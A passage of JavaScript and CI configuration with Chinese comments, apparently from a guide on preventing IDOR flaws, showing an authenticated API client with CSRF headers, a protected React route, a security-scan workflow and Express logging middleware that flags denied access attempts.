        const result = await response.json();
        return result;
    } catch (error) {
        console.error('更新用户资料失败:', error);
        throw error;
    }
}

// 获取CSRF令牌的函数
function getCSRFToken() {
    const cookieValue = document.cookie
        .split('; ')
        .find(row => row.startsWith('XSRF-TOKEN='))
        ?.split('=')[1];
    return cookieValue ? decodeURIComponent(cookieValue) : '';
}

// 获取认证令牌的函数
function getAuthToken() {
    // 从安全的存储中获取令牌
    return sessionStorage.getItem('auth_token') || '';
}

// 重定向到登录页面
function redirectToLogin() {
    sessionStorage.removeItem('auth_token');
    window.location.href = '/login?returnUrl=' + encodeURIComponent(window.location.pathname);
}

// 使用React Router进行路由安全配置
import { BrowserRouter, Routes, Route, Navigate } from 'react-router-dom';
import { useAuth } from './hooks/useAuth';

// 受保护的路由组件
function ProtectedRoute({ children, requiredRole = null }) {
    const { user, isLoading } = useAuth();
    
    if (isLoading) {
        return <div>加载中...</div>;
    }
    
    // 未登录用户重定向到登录页面
    if (!user) {
        return <Navigate to="/login" replace />;
    }
    
    // 检查角色权限（如果需要）
    if (requiredRole && user.role !== requiredRole) {
        return <Navigate to="/unauthorized" replace />;
    }
    
    return children;
}

// API服务配置
const API_BASE_URL = '/api';

class ApiService {
    constructor() {
        this.baseURL = API_BASE_URL;
        this.token = null;
    }
    
    setAuthToken(token) {
        this.token = token;
    }
    
    async request(endpoint, options = {}) {
        const headers = {
            'Content-Type': 'application/json',
            ...options.headers,
        };
        
        // 添加认证令牌
        if (this.token) {
            headers['Authorization'] = `Bearer ${this.token}`;
        }
        
        // 添加CSRF令牌
        const csrfToken = this.getCSRFToken();
        if (csrfToken) {
            headers['X-CSRF-Token'] = csrfToken;
        }
        
        const config = {
            ...options,
            headers,
            credentials: 'include', // 包含cookies
        };
        
        try {
            const response = await fetch(`${this.baseURL}${endpoint}`, config);
            
            // 处理非2xx响应
            if (!response.ok) {
                const errorData = await response.json().catch(() => ({}));
                const error = new Error(errorData.message || `HTTP错误! 状态码: ${response.status}`);
                error.status = response.status;
                throw error;
            }
            
            // 处理空响应
            if (response.status === 204) {
                return null;
            }
            
            return await response.json();
        } catch (error) {
            // 处理401未授权错误
            if (error.status === 401) {
                this.handleUnauthorized();
            }
            throw error;
        }
    }
    
    getCSRFToken() {
        const cookieValue = document.cookie
            .split('; ')
            .find(row => row.startsWith('XSRF-TOKEN='))
            ?.split('=')[1];
        return cookieValue ? decodeURIComponent(cookieValue) : '';
    }
    
    handleUnauthorized() {
        // 清除令牌并重定向到登录页面
        this.token = null;
        sessionStorage.removeItem('auth_token');
        window.location.href = '/login';
    }
    
    // API方法
    async getUserProfile() {
        return this.request('/user/profile');
    }
    
    async updateUserProfile(data) {
        return this.request('/user/profile/update', {
            method: 'POST',
            body: JSON.stringify(data),
        });
    }
    
    // 避免直接暴露资源ID的方法
    async getMyResources() {
        return this.request('/user/resources'); // 后端根据会话确定用户资源
    }
    
    async deleteResource(resourceId) {
        return this.request('/resources/delete', {
            method: 'POST',
            body: JSON.stringify({ id: resourceId }),
        });
    }
}

// 导出单例
const apiService = new ApiService();
export default apiService;

name: Security Tests

on:
  push:
    branches: [ main, develop ]
  pull_request:
    branches: [ main, develop ]

jobs:
  security-scan:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v2
    
    - name: Set up Node.js
      uses: actions/setup-node@v2
      with:
        node-version: '16'
    
    - name: Install dependencies
      run: npm ci
    
    - name: Run SAST scan
      run: |
        npm install -g sonarqube-scanner
        sonar-scanner \
          -Dsonar.projectKey=your-project-key \
          -Dsonar.sources=. \
          -Dsonar.host.url=${{ secrets.SONAR_HOST_URL }} \
          -Dsonar.login=${{ secrets.SONAR_TOKEN }}
    
    - name: Run dependency check
      run: npm audit
    
    - name: Run IDOR vulnerability tests
      run: node scripts/run-idor-tests.js

const winston = require('winston');
const express = require('express');
const app = express();

// 配置日志记录器
const logger = winston.createLogger({
    level: 'info',
    format: winston.format.combine(
        winston.format.timestamp(),
        winston.format.json()
    ),
    defaultMeta: { service: 'resource-access' },
    transports: [
        // 文件传输 - 错误日志
        new winston.transports.File({
            filename: 'error.log',
            level: 'error'
        }),
        // 文件传输 - 访问日志
        new winston.transports.File({
            filename: 'access.log'
        }),
        // 生产环境可以配置日志聚合服务
        // new winston.transports.Http({
        //     host: 'log-aggregator.example.com',
        //     port: 8080
        // })
    ]
});

// 开发环境添加控制台输出
if (process.env.NODE_ENV !== 'production') {
    logger.add(new winston.transports.Console({
        format: winston.format.combine(
            winston.format.colorize(),
            winston.format.simple()
        )
    }));
}

// 资源访问日志中间件
function resourceAccessLogger(req, res, next) {
    // 排除静态资源等不需要详细记录的请求
    if (req.path.startsWith('/static/') || req.path.startsWith('/public/')) {
        return next();
    }
    
    // 记录请求开始
    const startTime = Date.now();
    const originalSend = res.send;
    
    // 重写res.send方法以记录响应信息
    res.send = function(body) {
        // 计算响应时间
        const responseTime = Date.now() - startTime;
        
        // 构建日志对象
        const logData = {
            timestamp: new Date().toISOString(),
            method: req.method,
            path: req.path,
            ip: req.ip,
            userAgent: req.headers['user-agent'],
            statusCode: res.statusCode,
            responseTime,
            userId: req.user ? req.user.id : 'unauthenticated',
            resourceId: extractResourceId(req),
            resourceType: extractResourceType(req)
        };
        
        // 记录错误状态码
        if (res.statusCode >= 400) {
            if (res.statusCode === 401 || res.statusCode === 403) {
                // 未授权或禁止访问，可能是IDOR攻击尝试
                logger.warn('Potential unauthorized access attempt', logData);
            } else {
                logger.error('Request failed', logData);
            }
        } else {
            // 正常请求
            logger.info('Resource accessed', logData);
        }
        
        // 调用原始的send方法
        return originalSend.call(this, body);
    };
    
    next();
}

// 从请求中提取资源ID
function extractResourceId(req) {
    // 尝试从URL参数中获取
    if (req.params && Object.keys(req.params).length > 0) {
        // 假设ID参数可能是id, userId, resourceId等
        const idKeys = ['id', 'userId', 'resourceId', 'fileId', 'orderId', 'documentId'];
        for (const key of idKeys) {
            if (req.params[key]) {
                return req.params[key];
            }
        }
    }
    
    // 尝试从查询参数中获取
    if (req.query) {
        const idKeys = ['id', 'userId', 'resourceId', 'fileId', 'orderId', 'documentId'];
        for (const key of idKeys) {
            if (req.query[key]) {
                return req.query[key];
            }
        }
    }
    
    // 不返回请求体中的ID，以避免记录敏感信息
    
    return null;
}

// 从请求中提取资源类型
function extractResourceType(req) {
    // 根据路径推断资源类型
    const path = req.path.toLowerCase();
    
    if (path.includes('/user/')) return 'user';
    if (path.includes('/file/')) return 'file';
    if (path.includes('/order/')) return 'order';
    if (path.includes('/document/')) return 'document';
    if (path.includes('/admin/')) return 'admin';
    
    return 'unknown';
}

// 监控异常访问模式的中间件
function accessPatternMonitor(req, res, next) {
    // 实现访问频率限制、IP黑名单等逻辑
    // 这部分可以集成第三方库如express-rate-limit
    
    next();
}

// 应用中间件
app.use(resourceAccessLogger);
app.use(accessPatternMonitor);

// 路由示例
app.get('/api/user/:id', authenticateUser, authorizeUser, (req, res) => {
    // 处理请求
    res.json({ success: true, message: '访问成功' });
});

// 全局错误处理
app.use((err, req, res, next) => {
    logger.error('Unhandled error', {
        error: err.message,
        stack: process.env.NODE_ENV === 'production' ? undefined : err.stack,
        path: req.path,
        method: req.method,
        userId: req.user ? req.user.id : 'unauthenticated'
    });
    
    res.status(500).json({
        error: process.env.NODE_ENV === 'production' 
            ? '服务器内部错误' 
            : err.message
    });
});

// 启动服务器
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
    logger.info(`服务器启动在端口 ${PORT}`);
});